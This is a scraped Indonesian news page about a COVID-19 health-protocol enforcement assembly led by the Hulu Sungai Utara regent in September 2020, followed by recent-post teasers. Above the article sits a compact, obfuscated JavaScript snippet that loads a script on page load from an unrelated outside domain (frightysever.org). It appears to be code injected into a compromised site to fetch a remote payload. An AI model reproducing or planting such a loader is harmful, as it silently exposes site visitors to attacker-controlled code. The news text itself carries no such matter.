(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bupati HSU: Masker, Mencuci Tangan, Menjaga Jarak, Menghindari Kerumuman


KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK pimpin pelaksanakan apel tim operasi penerapan disiplin dan penegakan hukum protokol kesehatan Covid-19, Rabu (23/9/2020).

Apel diikuti personel Polres HSU, Kodim 1001/Amuntai dan Satpol PP Kabupaten HSU, dihadiri Ketua DPRD HSU Almien Ashar Safari, Dandim 1001 Amuntai Letkol Inf Ali Ahmas Satriyadi, Kapolres HSU AKBP Afri Darmawan,Kajari HSU Novan Hadian.

Bupati HSU selaku kepala daerah menyambut baik dan mengucapkan terima kasih  kepada semua jajaran pemerintah daerah, para tenaga medis, TNI/POLRI dan semua pihak yang tergabung dalam satuan gugus tugas pencegahan dan percepatan penanganan Covid-19 yang selama ini telah bekerja keras.

“Protokol kesehatan  dengan melaksanakan 4 M yaitu memakai masker, mencuci tangan pakai air mengalir dan sabun, menjaga jarak dan menghindari kerumunan,” kata Bupati HSU.

Bagi pelaku usaha harus menyiapkan sarana 4 M yakni bagi karyawan dan pengunjung yang datang.

Apel tim operasi penerapan disiplin dan penegakan hukum protokol kesehatan Covid-19, Rabu (23/9/2020). foto: humas polres hsu

Apel  tim penegakan Perbup No 37 tahun 2020 penerapan disiplin dan penegakan hukum protokol kesehatan sebagai upaya pemerintah dalam pencegahan dan pengendalian Covid-19 di Kabupaten HSU

“Bukti kesungguhan dan komitmen pemerintah dan masyarakat bersama-sama melakukan pencegahan dan pengendalian pandemi Covid-19 di Kabupaten HSU,” ujarnya.

Perbup  No 37 tahun 2020 merupakan tindak lanjut dari Instruksi Presiden RI No 6 tahun 2020 tentang peningkatan disiplin dan penegakan hukum protokol kesehatan dalam mencegah dan pengendalian Covid-19.

“Kami berharap tim penegakan Perbup dapat mendorong masyarakat HSU, baik perorangan, pelaku usaha dan pengelola penanggung jawab tempat kegiatan fasilitas umum mentaati Perbup dengan penuh kesadaran. Sehingga dalam penegakan hukum nantinya tidak didapat masyarakat  yang melanggar peraturan ini,” pungkas Bupati Wahid. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

8 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

9 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

10 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.